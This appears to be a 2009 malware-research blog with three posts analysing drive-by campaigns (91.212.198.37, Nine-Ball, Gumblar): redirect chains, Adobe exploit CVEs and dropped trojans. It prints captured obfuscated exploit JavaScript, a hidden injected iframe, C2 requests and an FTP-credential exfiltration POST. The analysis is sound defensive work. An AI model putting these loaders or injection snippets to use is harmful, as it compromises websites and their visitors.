Showing posts with label Adobe PDF. Show all posts
Showing posts with label Adobe PDF. Show all posts

Sunday, July 26, 2009

91.212.198.37 Badness

IP/Domain Analysis

IP address 91.212.198.37 is registered to (AS49314 NEVAL PE Nevedomskiy Alexey Alexeevich, Russia). The 91.212.198.0/24 netblock has been associated with various forms of cyber criminal activity.

inetnum: 91.212.198.0 - 91.212.198.255
netname: NEVAL
descr: Individual retailer Nevedomskiy A A
country: RU
org: ORG-IrNA1-RIPE
admin-c: NAA21-RIPE
tech-c: NAA21-RIPE
status: ASSIGNED PI
mnt-by: RIPE-NCC-END-MNT
mnt-by: NEVAL-mnt
mnt-lower: RIPE-NCC-END-MNT
mnt-routes: NEVAL-mnt
mnt-domains: NEVAL-mnt
source: RIPE # Filtered

organisation: ORG-IrNA1-RIPE
org-name: Individual retailer Nevedomskiy Alexey Alexeevich
abuse-mailbox: mailto:abuse.lirkz@gmail.com
org-type: OTHER
address: Russian Federation
mnt-ref: NEVAL-mnt
mnt-by: NEVAL-mnt
source: RIPE # Filtered

The IP 91.212.198.37 currently maps to the following domains.

• *.delzzerro.cn
• delzzerro.cn
• updatedate.cn
• www.delzzerro.cn

The domain delzzerro.cn was registered on 17 July 2009.

Domain Name: delzzerro.cn
ROID: 20090717s10001s59929740-cn
Domain Status: clientTransferProhibited
Registrant Organization: Real Host LTD
Registrant Name: Real Host
Administrative Email:
Sponsoring Registrar: 广东时代互联科技有限公司 (translated as Era of the Internet Technology Co., Ltd. Guangdong)
Name Server:ns1.everydns.net
Name Server:ns2.everydns.net
Registration Date: 2009-07-17 02:17
Expiration Date: 2010-07-17 02:17

The domain updatedate.cn was registered on 8 July 2009.

Domain Name: updatedate.cn
ROID: 20090708s10001s08910501-cn
Domain Status: clientTransferProhibited
Registrant Organization: Real Host LTD
Registrant Name: Real Host
Administrative Email:
Sponsoring Registrar: 广东时代互联科技有限公司(translated as Era of the Internet Technology Co., Ltd. Guangdong)
Name Server:ns1.everydns.net
Name Server:ns2.everydns.net
Registration Date: 2009-07-08 01:51
Expiration Date: 2010-07-08 01:51

The following websites provide historical malicious activity for AS49314, 91.212.198.0/24.

https://zeustracker.abuse.ch/monitor.php?as=49314
http://maliciousnetworks.org/ipinfo.php?as=AS49314&date=2009-07-22
http://www.malwaredomainlist.com/mdl.php?search=49314&colsearch=All&quantity=50 http://www.malwareurl.com/search.php?domain=&s=AS49314&match=0&rp=50&urls=on&redirs=on&ip=on&reverse=on&as=on

www.delzzerro.cn Analysis

The HTTP request for www.delzzerro.cn returns and iframe and script redirect.

<html>
<head><title>400</title></head>
<body>
<iframe go='400' width=1 src='/pic/p2.php' error='600' height="1"></iframe>
<div id="divid">
<script src='/pic/vq.png'></script>
</body>
</html>

http://www.delzzerro.cn/pic/p2.php

The request for p2.php returns a PDF file.

GET /pic/p2.php HTTP/1.1
Referer: http://www.delzzerro.cn/
Host: www.delzzerro.cn Connection: Keep-Alive

HTTP/1.1 200 OK
Content-Disposition: inline; filename=36.pdf
Content-Type: application/pdf

36.pdf

File: 36.pdf
Size: 27243
MD5: FDCF2B9803F7EF55C9C90BFA7627C0E9

The file 36.pdf contains exploit code targeted against 2 Adobe Reader vulnerabilities.

• Adobe util.printf, CVE-2008-2992
• Adobe getIcon, CVE-2009-0927

http://www.delzzerro.cn/pic/vq.png

The vq.png file, which was included in a script tag contains JavaScript. The .png technique is for obfuscation purposes. The JavaScript is used to exploit an Adobe Flash 0day vulnerability (CVE-2009-1862).

http://delzzerro.cn/pic/uzp.php

The payload of the collective exploits is a GET request for uzp.php which returns the binary file installb.exe.

GET /pic/uzp.php
Host: delzzerro.cn

HTTP/1.1 200 OK
Content-Disposition: inline; filename=installb.exe
Content-Type: application/octet-stream

http://91.212.198.37 Analysis

The HTTP request for 91.212.198.37 returns and iframe, script redirect and exploit code.

<html>
<head><title>404</title></head>
<body>
<iframe g='22' width=1 src='/img/p2.php' l='66' height="1"></iframe>
<script>
fg="%u2121%..;var .%u212.DE%u.1%u.%u.navigat.retVal.ibkka.var ..DE.=..return .5.C9E2.C9.0..C9.u..71.21.functio.A22.29.';.U+.+'.
......TRUNCATED......
split('.');for(J=u.length-1;J>-1;J--)Q[U]=Q[U].split(o[J]).join(u[J]);i8+=Q[U].replace(/./g,'"').replace(/./g,"\\").replace(/./g,"\n")}eval(i8);
</script>
<div id="divid">
<script src='/img/vw.png'></script>
</body>
</html>

http://91.212.198.37/img/p2.php

The request for p2.php returns a PDF file.

GET /img/p2.php
Referer: http://91.212.198.37/
Host: 91.212.198.37

HTTP/1.1 200 OK
Content-Disposition: inline; filename=119.pdf
Content-Type: application/pdf


119.pdf


File: 119.pdf
Size: 27360
MD5: 26A360E37812E6D5CCF31ED06CE692D9

The file 119.pdf contains exploit code targeted against 2 Adobe Reader vulnerabilities.

• Adobe util.printf, CVE-2008-2992
• Adobe getIcon, CVE-2009-0927

http://91.212.198.37/img/vw.png

The vw.png file, which was included in a script tag contains JavaScript. The .png technique is for obfuscation purposes. The JavaScript is used to exploit an Adobe Flash 0day vulnerability (CVE-2009-1862).

updatedate.cn/img/uzt.php

The payload of the collective exploits is a GET request for uzt.php which returns the binary file installb.exe.

GET /img/uzt.php
Host: updatedate.cn

HTTP/1.1 200
Content-Disposition: inline; filename=installb.exe
Content-Type: application/octet-stream

Malware Analysis

installb.exe

The malware installb.exe creates:

• Trojan.Virantix.C (Symantec) which attempts to lower system security settings, kill the process of antivirus applications and install rogue security products.
• PWS:Win32/Daurso (Microsoft) serves as an infostealer that keylogs and exfiltrates user accounts and passwords.

File: installb.exe
Size: 113664
MD5: D9A878871B90C68F4A1A155A3015A8FE

ThreatExpert
VirusTotal (4/41 current detection)

The malware installb.exe creates the following files:

C:\DOCUME~1\%user%\LOCALS~1\Temp\installb[1].exe

File: installb[1].exe
Size: 48128
MD5: 9145DA932AAB97CF50B5DE8DCDF80BE9

C:\WINDOWS\system32\braviax.exe

File: braviax.exe
Size: 11264
MD5: 61FEBE4C32CE9CB0DFCF55D373E0BAFD

VirusTotal (17/41 current detection)

C:\WINDOWS\system32\dllcache\figaro.sys (is later deleted)

C:\WINDOWS\drivers\beep.sys
C:\WINDOWS\system32\dllcache\beep.sys

File: beep.sys
Size: 32768
MD5: B040B5812B6668A232B18D397F721741

VirusTotal (20/38 current detection)

C:\WINDOWS\system32\Wbem\proquota.exe

File: proquota.exe
Size: 35840
MD5: 348BA619AAB3A92B99701335F95FE2A7

ThreatExpert
VirusTotal (5/41 current detection)

proquota.exe (PWS:Win32/Daurso)

The malware proquota.exe (PWS:Win32/Daurso) connects to squatead.com (212.150184.146, AS8584 Barak Netvision 013 Barak – Network, Israel).

POST /ptf/receiver/online HTTP/1.1
Host: squatead.com

The malware proquota.exe monitored and exfiltrated FTP credentials to squatead.com during dynamic analysis.

POST /ptf/receiver/ftp HTTP/1.1
Host: squatead.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Opera/9.63 (Windows NT 5.1; U; ru) Presto/2.1.1
Content-Length: 92
ftp_uri_0=p7uojZW2GGxfm637v7nEye4CbV7Y5%2FKP6Y6It1wqCsfk%2BeHqgYCrXA&ftp_source_0=lb250dzwDg


Trojan.Virantix.C


The Trojan.Virantix.C malware connects to komalinovskatas.com (66.79.178.199, AS27645 ASN-NA-MSG-01 Managed Solutions Group, Inc) in order to download the installer for the rogue security product Home Antivirus 2010. The domain komalinovskatas.com was registered on 2009/7/20.

Registrant:
Aleksandr Petrov mailto:radar@e2mail.ru +7.3412755886
Aleksandr Petrov
ul.Udmurtskaya d.141 kv.110
Izhevsk,Udmurtiya,RUSSIAN FEDERATION 426003


Domain Name:komalinovskatas.com
Record last updated at 2009-07-23 10:32:26
Record created on 2009/7/20
Record expired on 2010/7/20

Home Antivirus 2010 installer download.

GET /?wmid=1025&d=2&it=2&s=24 HTTP/1.1
Host: komalinovskatas.com

HTTP/1.1 302 Found
Location: /2/installer/Installer.exe?u=1025&s=b4eaa65e579e83c2248376cc88de9086&t=2


GET /2/installer/Installer.exe?u=1025&s=b4eaa65e579e83c2248376cc88de9086&t=2 HTTP/1.1
Host: komalinovskatas.com

HTTP/1.1 200 OK
Content-Disposition: attachment; filename="Install.exe";

The malware install.exe is written as c:\WINDOWS\system32\wisdstr.exe.

File: wisdstr.exe
Size: 181488
MD5: E68A91A3614435882DAAD5494CAE622E

ThreatExpert

The malware wisdstr.exe connects to bureltanovaderta.com (66.79.178.200, AS27645 ASN-NA-MSG-01 Managed Solutions Group, Inc) to download the remaining installation files associated with the rogue security product Home Antivirus 2010. The product provides false diagnostics and persistent notifications in an attempt to convince the victim to purchase a licensed version of the product.

GET /files/HomeAntivirus2010/Binaries1.cab HTTP/1.1
GET /files/HomeAntivirus2010/Binaries1.cab HTTP/1.1
GET /files/BinariesAVE.cab HTTP/1.1
GET /files/BinariesAVE.cab HTTP/1.1
GET /files/BinariesAdd.cab HTTP/1.1
GET /files/HomeAntivirus2010/BinariesGUI.cab HTTP/1.1
GET /files/BinariesSC.cab HTTP/1.1
GET /files/BinariesUpd.cab HTTP/1.1
GET / HTTP/1.1
GET /update_inst.php?wmid=1025&subid=b4eaa65e579e83c2248376cc88de9086&pid=2&lid=0&hs=F35A291E6CA636316E72ECAD75594619 HTTP/1.1

The domain bureltanovaderta.com is registered nearly identical to komalinovskatas.com.

Registrant:
Aleksandr Petrov radar@e2mail.ru +7.3412755886
Aleksandr Petrov
ul.Udmurtskaya d.141 kv.110
Izhevsk,Udmurtiya,RUSSIAN FEDERATION 426003


Domain Name:bureltanovaderta.com
Record last updated at 2009-07-24 10:06:32
Record created on 2009/7/20
Record expired on 2010/7/20



An over-sized Windows Security center opens indicating Virus Protection is not found. The window is part of the social; engineering effort to convince victims to purchase a licensed version of Home Antivirus 2010.



The malware also attempted C2 connections to cbbugltjud.com (195.2.253.240, AS12695 MADET-NET Moscow, Russia) to download additional malware. Other domains that resolve to 195.2.253.240 include:

*.cabkyykbbg.com
*.cbbugltjud.com
cabkyykbbg.com
cbbugltjud.com
www.cabkyykbbg.com
www.cbbugltjud.com

GET /progs/xfcgtyylqd/iejwn
Host: cbbugltjud.com

The iejwn download creates c:\alurm.exe.

File: alurm.exe
Size: 11264
MD5: 6BE4585C480B5C840E99BE9B190F7846

ThreatExpert

GET /progs/xfcgtyylqd/ziwwofwj.php
Host: cbbugltjud.com

GET /progs/xfcgtyylqd/czaarfj.php?adv=adv464
Host: cbbugltjud.com

Friday, June 19, 2009

Nine-Ball Analysis

On 16 June 2009, Websense released an Alert concerning the latest drive-by web exploit dubbed Nine-Ball. Per Websense, “We have been tracking the Nine-Ball mass compromise since 6/03/2009. To date, over 40,000 legitimate Web sites have been compromised with obfuscated code that leads to a multi-level redirection attack, ending in a series of drive-by exploits that if successful install a trojan downloader on the user's machine.” The name Nine-Ball came from the final landing exploit site destination after a series of redirects:

rnw.kz > bro.tw > rmi.tw > ninetoraq.in

Further investigation reveals there are numerous landing exploit sites which dynamically change each time a victim host is redirected. Multiple connections from the same source IP address result in a redirect to the benign site ask.com. The exploit code on the landing site also appears to vary with each site.

The following is sample redirect/exploit path followed from the base redirect rnw.kz/index.php

Exploit Analysis


http://rnw.kz/index.php
|-->HTTP 302 location redirect to http://bro.tw/in.cgi?3
|---->meta http-equiv refresh redirect to http://rmi.tw/in.cgi?6
|------> HTTP 302 location and meta http-equiv refresh redirect to http://mias.tw/1/index.php

All of the sites are hosted at 91.212.65.133 (Eurohost LLC, AS48841, Ukraine)

The sites bro.tw and rmi.tw appear to utilize cookies to track visitor requests. Multiple requests result in a redirect to the landing site http://ask.com.

The site http://mias.tw/1/index.php returns obfuscated JavaScript that decodes to reveal an EMBED tag that references pdf.php.

function FVEopW91F0QKb(){
var Qqz8W8MiQQlAc = false;
try {
if (navigator.plugins && navigator.mimeTypes.length){
for (var apjVVQ1jEqGNq = 0; apjVVQ1jEqGNq < navigator.plugins.length; apjVVQ1jEqGNq
++ ){
var iWHp9Og8VDFsw = navigator.plugins[apjVVQ1jEqGNq].name;
if (iWHp9Og8VDFsw.indexOf("Adobe Acrobat") != - 1){
Qqz8W8MiQQlAc = true;
break ;
}
}
}
}
catch (e){
}
if (Qqz8W8MiQQlAc){
document.write(
'<EMBED SRC="pdf.php" WIDTH="36" HEIGHT="14" TYPE="application/pdf" /></EMBED>');
}
else return false;
}
setTimeout("FVEopW91F0QKb();", 500);


The file pdf.php request returned a PDF file named What_is_Unique_Pack.pdf. The filename refers to the unique Pack exploit toolkit discussed by Finjan.

File: What_is_Unique_Pack.pdf
Size: 15139
MD5: 2C8144C3927A33598FEBFFBFC61B6EA9

The PDF file meta data indicates it was created June 6, 2009 using Nitro PDF Professional 6.0 and print driver BCL easyPDF 6.00.20.

/Creator (NitroPDF 6.0)
/Producer (BCL easyPDF 6.00.20)
/ModDate (D:20090606123256+02'00')
/CreationDate (D:20090606123026+03'00')

The PDF contains obfuscated JavaScript that decodes to reveal 3 exploits targeted against Adobe Reader vulnerabilities.

• Adobe util.printf overflow vulnerability (CVE-2008-2992, APSB08-19)
• Collab.collectEmailInfo()JavaScript Method Remote Code Execution Vulnerability (CVE-2007-5659, APSB08-13)
• Collab.getIcon() JavaScript Method Remote Code Execution Vulnerability (CVE-2009-0927, APSB09-04)

All of the exploits result in the GET request for http://mias.tw/1/getexe.php downloaded as load.exe.

Malware Analysis

The malware load.exe creates mscorewr.dll, which Microsoft detects as Win32/Silentbanker.B. As of 2009.06.20 02:30:08 (UTC) only 2/41 antivirus vendors detect the malware.

ThreatExpert
VirusTotal

File: load.exe
Size: 69632
MD5: 801EFE85BEF379E50B882F7B5846DB7A

The malware load.exe creates the following file and registry entries.

c:\WINDOWS\system32\mscorewr.dll

File: mscorewr.dll
Size: 86016
MD5: 33C03C3768610765A06CB112CABAA00A

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{00009E9F-DDD7-AA59-AA7D-AA4B7D6BE000}
HKEY_CLASSES_ROOT\CLSID\{00009E9F-DDD7-AA59-AA7D-AA4B7D6BE000} "(Default)"
Type: REG_SZ
Data: mscorewr
HKEY_CLASSES_ROOT\CLSID\{00009E9F-DDD7-AA59-AA7D-AA4B7D6BE000}\InprocServer32 "(Default)"
Type: REG_SZ
Data: C:\WINDOWS\System32\mscorewr.dll
HKEY_CLASSES_ROOT\CLSID\{00009E9F-DDD7-AA59-AA7D-AA4B7D6BE000}\InprocServer32 "ThreadingModel"
Type: REG_SZ
Data: Apartment
HKEY_CLASSES_ROOT\CLSID\{00009E9F-DDD7-AA59-AA7D-AA4B7D6BE000}\TypeLib "(Default)"
Type: REG_SZ
Data:

Domain/IP Analysis

The 3 initial redirect domains rnw.kz, bro.tw, and rmi.tw resolve to 91.212.65.133 (Eurohost LLC, AS48841, Ukraine). The following domains also currently resolve to 91.212.65.133.

bmt.tw
bro.tw
mail.bro.tw
mail.nikodomain.info
molo.tw
nikodomain.info
ns1.dmdnssrv.info
orep.tw
rmi.tw
rnw.kz
sovi.tw
mias.tw

The below table lists domain registration data for the domains hosted at 91.212.65.133:

Domain Registration Provider Registration Date Registrant Country
mias.tw WebCC Ltd. 2009-06-15 RU
bmt.tw WebCC Ltd. 2009-05-17 RU
bro.tw WebCC Ltd. 2009-06-03 RU
molo.tw WebCC Ltd. 2009-06-09 RU
orep.tw WebCC Ltd. 2009-06-15 RU
rmi.tw WebCC Ltd. 2009-06-12 RU
sovi.tw WebCC Ltd. 2009-06-12 RU
rnw.kz SKILLTEX 2009-05-18 RU

Redirect testing identified the exploit landing site rotated between several sites. The following sites were observed in addition to the aforementioned http://mias.tw/1/index.php. Each of the exploit landing sites used different obfuscation techniques, exploits and payload downloads.

http://my-bilderrahmen.cn/e/t.php (85.17.200.207, NL)
http://adultfex.com/lb/index.php (209.160.72.174, US)
http://www.1w90.co.cc/1/index.php (213.182.197.251, LV)
http://pendu1um.cn/cp/index.php (61.235.117.85, CN)
http://orep.tw/pve/ (91.212.65.133, RU)
http://stopssse.info/l.php?pbr (66.199.237.127, US)

On 22 June 2009, ScanSafe called out Websense's reporting numbers and stated Nine-Ball was a bunch of hype. Let the firewoks begin...

Thursday, June 11, 2009

Gumblar Analysis

So it seems Gumblar is the latest threat to receive continual media hype. It was nice to see Symantec's opinion that this is just another day in the life of the web. Recent "threats" like Conficker and Gumblar seem to benefit security vendors and consultants who feed the hype for business purposes. The term Gumblar is an adopted term that describes a recent web-based drive-by attack. The attack follows the standard web-based drive-by attack TTP:

  1. The bad guys use stolen FTP credentials or SQL injection to inject iframe redirects into legitimate websites.
  2. The iframes redirect to sites that host exploit code targteted against web browsers, browser plug-ins and 3rd party applications (IE, FF, Adobe Reader, WinZip, etc.)
  3. The exploits result in malware payload. The malware typically downloads additional for-profit malware (spambots, infostealers, rogue security products, etc.)
  4. Credentials exfiltrated by infostealers (like FTP) are used to compromise additional web servers back in step #1.
At one point in the attack (~May 2009), the Gumblar exploit site was gumblar.cn (hence the adopted name). The domain martuz.cn was later used. The activity began much further back, but the attack summary was put togther and publicized more recently. The following "Gumblar" analysis goes back to April 17, 2009 before gumbar.cn was utilized.

Gumbar Exploit Analysis

The USDA Forest Service website (http://www.fs.fed.us) was a vicitm of an iframe injection. The compromised site contained an iframe to lotmachinesguide.cn (94.247.3.150, Latvia).

<iframe src="http://lotmachinesguide.cn/in.cgi?income56" width=1 height=1 style="visibility: hidden"></iframe>

The lotmachinesguide.cn/in.cgi?income56 request returned a HTTP Location redirect to liteautogreatest.cn (94.247.3.151, Latvia). The http://liteautogreatest.cn/index.php request returned obfuscated JavaScript and references to Adobe Reader and Flash files that contain exploit code.

http://liteautogreatest.cn/cache/readme.pdf
http://liteautogreatest.cn/cache/flash.swf

The first 2 sections of exploit code target the Microsoft Access Snapshot Viewer ActiveX Control Vulnerability (CVE-2008-2463, MS08-041). The readme.pdf file contains code designed to exploit the Adobe util.printf overflow vulnerability (CVE-2008-2992, APSB08-19) and a vulnerability in the JavaScript method Collab.collectEmailInfo() in Adobe PDF Reader’s JavaScript Engine (CVE-2007-5659, APSB08-13). The flash.swf file exploits an Adobe Flash vulnerability (not sure specific one).The exploit payloads were GET requests to litehitscar.cn (94.247.3.151, Latvia) that returned load.exe.

http://litehitscar.cn/load.php?id=1
http://litehitscar.cn/load.php?id=4
http://litehitscar.cn/load.php?id=5

http://liteautogreatest.cn/index.php Code

<script>eval(function(l,a,z,k,e,d){e=function(z){return(z<a?'':e(parseInt(z/a)))+((z=z%a)>35?String.fromCharCode(z+29):z.toString(36))};while(z--){if(k[z]){l=l.replace(new RegExp('\\b'+e(z)+'\\b','g'),k[z])}}return l}('1h(1i(\'%E%J%l%o%h%k%p%l%0%V%l%E%10%h%L%B%E%w%1%2%d%c%I%d%c%g%E%p%9%1%j%P%D%9%11%j%M%P%w%0%t%0%15%F%0%z%q%s%A%A%G%w%D%H%0%t%0%x%x%u%0%j%P%D%9%11%j%M%P%w%0%1g%t%0%15%13%u%0%j%P%D%9%11%j%M%P%w%y%y%2%d%c%g%I%d%c%g%g%z%q%s%A%A%G%w%D%H%0%t%0%X%h%9%k%l%s%r%E%9%p%O%B%q%i%9%B%p%C%8%1%13%A%0%y%0%j%P%D%9%11%j%M%P%w%2%u%d%c%g%g%z%i%9%0%C%H%w%B%12%G%q%C%Z%0%t%0%l%8%L%0%19%O%i%s%8%1%2%u%d%c%g%g%C%H%w%B%12%G%q%C%Z%r%v%9%o%0%t%0%x%9%8%v%W%n%n%x%0%y%0%z%q%s%A%A%G%w%D%H%0%y%0%x%W%6%6%x%0%y%0%f%R%a%7%1%2%9%1%e%p%2%e%s%5%9%1%a%i%7%O%e%4%0%2%10%b%k%4%m%e%a%2%8%1%v%b%e%e%f%r%9%8%j%m%i%o%8%1%n%5%3%a%3%b%3%6%4%3%6%7%3%6%2%3%6%e%3%6%1%n%k%s%F%0%f%f%2%0%y%0%x%6%6%x%0%y%0%f%D%7%J%1%4%a%h%e%7%m%2%1%a%p%1%p%a%a%a%Y%a%2%0%7%5%a%1c%a%1%5%4%V%4%a%j%7%4%9%4%5%8%a%1%v%2%7%v%5%4%f%r%9%8%j%m%i%o%8%1%n%a%3%b%3%5%3%6%7%3%6%1%3%6%4%3%6%e%3%6%2%n%k%s%F%0%f%f%2%0%y%0%x%6%6%x%0%y%0%f%O%5%2%v%e%p%2%8%a%7%1%9%1%8%2%e%4%v%5%b%7%5%r%2%b%b%b%C%b%5%4%b%m%4%e%5%m%1%4%f%r%9%8%j%m%i%o%8%1%n%b%3%6%4%3%6%e%3%6%1%3%a%3%6%2%3%5%3%6%7%n%k%s%F%0%f%f%2%0%y%0%x%n%b%15%n%17%x%u%d%c%d%c%g%g%k%E%1%C%H%w%B%12%G%q%C%Z%r%q%8%k%s%q%h%0%t%t%0%A%1m%2%d%c%g%g%I%d%c%g%g%g%14%9%8%i%Y%u%d%c%g%g%K%d%c%d%c%g%g%C%H%w%B%12%G%q%C%Z%0%t%0%f%f%u%d%c%g%K%d%c%d%c%g%9%8%h%J%9%l%0%z%q%s%A%A%G%w%D%H%u%d%c%K%d%c%d%c%E%J%l%o%h%k%p%l%0%m%9%o%1a%O%M%N%1b%k%1%J%9%m%2%d%c%I%d%c%g%z%i%9%0%z%q%s%A%A%G%w%D%H%0%t%0%V%l%E%10%h%L%B%E%w%1%2%u%d%c%g%k%E%0%1%z%q%s%A%A%G%w%D%H%0%t%t%0%f%1f%f%2%0%9%8%h%J%9%l%u%d%c%d%c%g%h%9%M%d%c%g%I%d%c%g%g%z%i%9%0%j%N%B%U%T%S%Q%l%0%t%0%l%8%L%0%18%o%h%k%z%8%Z%D%14%1d%8%o%h%1%f%v%e%5%l%1%e%a%j%a%z%4%1%L%7%b%a%7%r%e%5%5%a%X%4%5%7%7%l%5%5%7%2%i%4%1%e%j%7%a%5%b%7%v%b%b%7%q%2%b%p%a%7%4%h%4%2%0%5%2%1l%7%1%4%5%k%4%a%8%5%5%L%7%8%a%4%7%9%1%4%1%7%0%a%7%e%2%B%4%a%p%2%l%7%b%4%e%h%4%b%9%7%5%4%p%4%m%5%2%4%r%5%b%7%5%17%a%b%2%f%r%9%8%j%m%i%o%8%1%n%b%3%6%e%3%6%2%3%6%4%3%6%1%3%5%3%6%7%3%a%n%k%s%F%0%f%f%2%2%u%d%c%g%K%d%c%d%c%g%o%i%h%o%q%1%8%2%d%c%g%I%d%c%g%g%k%E%0%1%j%N%B%U%T%S%Q%l%0%4%t%0%f%1f%4%1%p%5%1%14%e%1%1d%5%5%8%2%5%2%o%b%h%4%7%5%1k%5%b%e%f%r%9%8%j%m%i%o%8%1%n%6%7%3%a%3%6%e%3%6%2%3%6%4%3%b%3%6%1%3%5%n%k%s%F%0%f%f%2%2%0%9%8%h%J%9%l%u%d%c%g%K%d%c%d%c%g%j%N%B%U%T%S%Q%l%r%X%l%i%j%v%q%p%h%R%i%h%q%0%t%0%J%9%m%u%d%c%d%c%g%h%9%M%d%c%g%I%d%c%g%g%j%N%B%U%T%S%Q%l%r%B%p%O%j%9%8%v%v%8%C%R%i%h%q%0%t%0%z%q%s%A%A%G%w%D%H%0%y%0%x%W%6%6%x%0%y%0%f%R%4%2%e%9%4%e%5%p%4%a%1%5%s%a%1%9%7%a%i%4%e%O%2%2%0%2%4%5%10%4%k%e%1%m%2%1%8%b%b%a%v%2%1%2%f%r%9%8%j%m%i%o%8%1%n%b%3%6%2%3%a%3%6%e%3%6%1%3%6%7%3%5%3%6%4%n%k%s%F%0%f%f%2%0%y%0%x%6%6%x%0%y%0%f%D%2%b%J%4%h%5%5%7%m%4%e%p%2%b%p%4%Y%5%e%2%0%5%1c%a%V%b%j%1%4%7%9%7%8%5%5%v%7%b%v%e%4%a%f%r%9%8%j%m%i%o%8%1%n%6%4%3%b%3%5%3%6%e%3%6%2%3%a%3%6%1%3%6%7%n%k%s%F%0%f%f%2%0%y%0%x%6%6%x%0%y%0%f%L%e%7%i%2%1%14%4%7%r%4%5%8%7%a%e%1%V%b%a%8%2%4%f%r%9%8%j%m%i%o%8%1%n%6%7%3%6%e%3%5%3%b%3%6%4%3%a%3%6%1%3%6%2%n%k%s%F%0%f%f%2%u%d%c%g%g%j%N%B%U%T%S%Q%l%r%R%9%k%l%h%X%l%i%j%v%q%p%h%1%2%u%d%c%g%K%d%c%d%c%g%o%i%h%o%q%1%8%2%I%K%u%d%c%d%c%g%z%i%9%0%8%Y%Q%R%z%k%m%13%18%1e%0%t%0%v%8%h%19%l%h%8%9%z%i%m%1%E%J%l%o%h%k%p%l%1%2%I%k%E%0%1%j%N%B%U%T%S%Q%l%r%9%8%i%C%M%X%h%i%h%8%0%t%t%0%w%2%0%I%o%m%8%i%9%19%l%h%8%9%z%i%m%1%8%Y%Q%R%z%k%m%13%18%1e%2%u%L%k%l%C%p%L%r%m%p%o%i%h%k%p%l%0%t%0%f%m%1%C%b%i%1%1%1%1%j%1%W%b%4%2%n%a%7%1%a%a%n%2%7%a%4%f%r%9%8%j%m%i%o%8%1%n%6%7%3%6%e%3%6%1%3%6%2%3%a%3%b%3%5%3%6%4%n%k%s%F%0%f%f%2%u%K%K%F%0%1j%16%16%16%2%u%d%c%K%d%c%d%c%m%9%o%1a%O%M%N%1b%k%1%f%q%b%2%h%2%5%a%5%h%b%j%4%W%e%7%e%n%2%e%2%n%1%e%m%a%7%k%1%h%4%b%8%7%q%1%k%2%2%h%2%5%v%5%1%o%2%5%4%b%4%i%5%9%7%1%7%r%b%o%1%7%1%l%e%1%n%4%4%m%b%e%p%7%b%7%i%b%7%4%4%e%C%b%r%7%7%j%4%5%4%q%1%b%j%2%a%b%5%2%1n%5%2%1%5%k%e%e%7%C%2%b%a%t%5%17%4%1%f%r%9%8%j%m%i%o%8%1%n%6%7%3%6%1%3%a%3%b%3%6%2%3%6%4%3%5%3%6%e%n%k%s%F%0%f%f%2%2%u\'));',62,86,'u0020|u0028|u0029|u007c|u0021|u0026|u005c|u005e|u0065|u0072|u0040|u0023|u000a|u000d|u0024|u0027|u0009|u0074|u0061|u0070|u0069|u006e|u006c|u002f|u0063|u006f|u0068|u002e|u0067|u003d|u003b|u0073|u0034|u0022|u002b|u0076|u0035|u0043|u0064|u004f|u0066|u002c|u0052|u0051|u007b|u0075|u007d|u0077|u0079|u004a|u006d|u0048|u004e|u0050|u004c|u0042|u0059|u0078|u003a|u0053|u006b|u0058|u0046|u004b|u0057|u0036|u0062|u0032|u0030|u0031|u0041|u0049|u0037|u0044|u0045|u006a|u0055|u005b|u003c|eval|unescape|u0033|u005d|u0056|u0039|u003f'.split('|')))</script><html>

<body>
<script>
function pdfswf()
{
.PDF = new Array("AcroPDF.PDF", "PDF.PdfCtrl");
.for(i in PDF)
.{
..try
..{
...obj = new ActiveXObject(PDF[i]);
...if (obj)
...{
....document.write('<iframe src="cache/readme.pdf"></iframe>');
...}
..}
..catch(e){}
.}
.try
.{
..obj = new ActiveXObject("ShockwaveFlash.ShockwaveFlash");
..if (obj)
..{
...document.write('<iframe src="cache/flash.swf"></iframe>');
..}
.}
.catch(e){}
}
pdfswf();
</script>



Malware Analysis

http://litehitscar.cn/load.php?id=5 (load.exe)

The request for load.php returns the binary file load.exe.

File: load.exe
Size: 18432
MD5: 4C328C15F6E8603F713FDACF7DAC6E87

The malware dropper load.exe creates C:\WINDOWS\system32\digiwet.dll and modifies a registry key to launch the malware at startup.

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders "SecurityProviders"
Old type: REG_SZ
New type: REG_SZ
Old data: msapsspc.dll, schannel.dll, digest.dll, msnsspc.dll
New data: msapsspc.dll, schannel.dll, digest.dll, msnsspc.dll, digiwet.dll

The digiwet.dll malware is the core “Gumblar” bot. The malware initiates connections to the bot controller at 78.109.29.112 (Ukraine) and downloads 259043 bytes of data which includes additional malware. Additional C2 connections to 78.109.30.224 (Ukraine) were observed.

GET /new/controller.php?action=bot&entity_list=&uid=1&first=1&guid=3970894049&rnd=981633 HTTP/1.1
Host: 78.109.29.112

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 17 Apr 2009 00:06:05 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Version: 1
Content-Length: 259043
Entity-Info: 1239013921:32768:1;1239013932:41984:1;1239013964:84480:2;1239022982:33792:2;1239024633:45568:2;1239875139:20451:2;

Rnd: 982306

Magic-Number: 256|1|40:21:222:188:141:149:35:113:122:238:96:131:88:202:90:82:137:127:146:127:209:5:235:94:57:25:53:42:127:239:54:168:4:21:100:145:170:136:3:37:118:100:168:206:47:2:33:184:129:179:55:83:185:35:177:242:60:231:29:188:214:84:100:218:105:201:108:19:81:112:57:199:212:225:150:3:228:183:188:102:107:243:186:36:23:108:23:83:83:52:16:41:136:116:4:241:62:112:5:143:225:62:87:182:32:238:186:5:166:118:107:17:106:38:54:129:146:77:213:229:129:229:14:10:90:19:251:152:132:1:40:101:64:128:27:97:111:213:102:21:75:210:39:181:248:93:55:138:170:12:112:44:242:127:54:77:146:50:229:22:51:14:123:115:143:151:213:254:108:59:20:184:14:59:110:6:152:165:145:67:178:1:111:164:128:165:241:19:215:215:41:11:230:164:126:117:60:84:116:168:143:136:97:157:195:207:164:92:117:54:159:39:55:14:204:184:180:189:203:139:149:245:150:124:154:21:241:214:105:102:127:249:238:224:151:178:176:59:14:37:113:173:77:169:187:25:98:112:215:46:251:108:35:146:233:189:

eON...#q~.`..5ZR1......^y.5*..6...d....%vd../.!...7S.#..

************************************************************************

GET /new/controller.php?action=report&guid=0&rnd=981633&uid=1&entity=1239013921:unique_start;1239013932:unique_start;1239013964:unique_start;1239022982:unique_start;1239024633:unique_start;1239875139:unique_start HTTP/1.1
Host: 78.109.29.112


************************************************************************

